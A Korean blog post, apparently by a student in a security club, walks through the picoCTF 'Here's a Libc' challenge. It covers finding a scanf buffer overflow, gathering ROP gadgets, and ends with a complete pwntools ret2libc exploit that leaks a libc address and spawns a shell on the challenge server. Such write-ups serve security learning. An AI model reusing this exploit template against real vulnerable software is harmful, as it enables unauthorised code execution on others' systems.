혜랑's STORY

[picoCTF] Here's a Libc 본문

2021 SISS 21기 활동/여름방학 System

[picoCTF] Here's a Libc

hyerang0125 2021. 8. 11. 22:02

문제 해결에 필요한 파일들을 모두 다운받고 실행시켜 보았다.

모두 대문자로 입력하였는데 대문자와 소문자가 번갈아가며 출력되는 것을 볼 수 있다.

checksec을 통해 보호기법을 확인해 보았는데

64bit 바이너리 파일이고 NX가 걸려있는 것을 확인할 수 있었다.

IDA로 확인해보니

main 함수 수도코드

main 함수에서 convert_case()와 do_stuff()를 호출하고 있었고 각 함수의 수도코드를 확인하니

convert_case 수도코드
do_stuff 수도코드

do_stuff() 함수에서 s를

__isoc99_scanf("%[^\n]", s);

로 입력을 받아 주고 있다. c언어에서 %[^\n]이 의미라는 바는 개행문자를 제외한 모든 문자를 입력받는 것으로 

gets(s);

와 같은 역할을 하게 된다. 즉, 이 코드에서 overflow가 발생하게 된다.

GDB

Exploit Method

구해야 할 목록
1. pop_rdi
2. main, ret
3. puts_got, puts_plt, puts_offset <- leak에 사용
4. system offset, binsh offset, libcbase
ROPgadget --binary vuln | grep "pop"

pop_rdi 찾기

IDA Hex View-1

ret 주소

objdump -M intel -d ./vuln

ret 주소

code

from pwn import *

r = remote('mercury.picoctf.net', '23584')
e = ELF('./vuln')
libc = ELF('./libc.so.6')

pop_rdi = 0x400913
main = e.symbols['main']
ret = 0x40052e

puts_plt = e.symbols['puts']
puts_got = e.got['puts']
puts_offset = libc.symbols['puts']

#leak
payload = 'A' * 136 //s의 크기(0x80) + SFP(0x8) <- 64bit 파일이기 때문
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)

r.sendline(payload)

puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - puts_offset

system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()

system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

payload = 'A' * 136
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)

r.sendline(payload)

r.interactive()

성공이다!

'2021 SISS 21기 활동 > 여름방학 System' 카테고리의 다른 글

[ROP Emporium] write4  (0) 2021.08.19
[pwnable.xyz] add  (0) 2021.08.07
[pwnable.xyz] sub  (1) 2021.08.06
[HackCTF] Random key 풀이  (0) 2021.07.31
[HackCTF] RTC 풀이  (0) 2021.07.31